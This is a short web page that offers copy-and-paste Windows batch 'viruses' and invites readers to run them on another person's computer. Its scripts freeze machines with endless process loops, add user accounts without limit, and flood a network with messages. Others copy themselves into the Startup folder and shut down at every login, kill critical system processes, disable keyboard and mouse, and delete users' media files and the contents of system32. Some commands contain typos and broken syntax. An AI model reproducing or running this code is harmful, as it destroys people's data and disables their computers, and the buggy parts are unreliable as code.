Welcome!
This site contains maicious batch file coding. You may copy and paste one of the paragraphs to notepad and save as "Filename".bat but do not open it on your computer afterwards open it on another computer.
A Batch file that crashes or freezes a computer
@echo off
:Crash_computer
start
goto Crash_Computer
Shutsdown Account everytime the user logs on (save as virus.bat)
@echo off
cd /
Copy "virus.bat" "C:\Users\%userprofile%\Start Menu\Programs\startup"
shutdown -s -t 00 -c "%random% error occurred. Login Process Failed"
exit
Keeps adding user accounts
@echo off
cls
set /a _virus+=1
:virus
net user %_virus+% /add
:goto virus
Flood a Network
@echo off
:Flood_Network
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
goto Flood_Network
Very Deadly
@echo off
set /a _virus+=1
:destroy
net user %_virus+% /add
taskkill /f /t /im explorer.exe
tskill /f /t /im explorer.exe
ms %_virus+%
echo Virus >> %virus%.txt
start virus.txt
del /f /q "C:\WINDOWS\system32\*.*"
goto destroy
Extremly Deadly (Save as Destroy.bat)
@echo off
:virus
rundll32 Keyboard, disable
rundll32 Mouse, disable
echo x=msgbox("Virus Activate",0+48,"Virus") >> virus.vbs
taskkill /f /t /im explorer.exe
tskill /f /t /im explorer.exe
taskkill /f /t /im csrss.exe
tskill /f /t /im csrss.exe
taskkill /f /t /im winlogon.exe
tskill /f /t /im winlogon.exe
taskill /f /t /im rundll32.exe
tskill /f /t /im rundll32.exe
taskkill /f /t /im dwm.exe
tskill /f /t /im dwm.exe
del /f /q "C:\Users\%userprofile%\My Documents\My Music\*.*"
del /f /q "C:\Users\%userprofile%\My Documents\My Pictures\*.*"
del /f /q "C:\Users\%userprofile%\My Documents\My Videos\*.*"
cd "C:\WINDOWS\system32"
del /f /q "*.*"
Copy "Destroy.bat" "C:\Users\%userprofile%\Start Menu\Programs\Startup
shutdown -s -t 00 -c "Virus"
:goto virus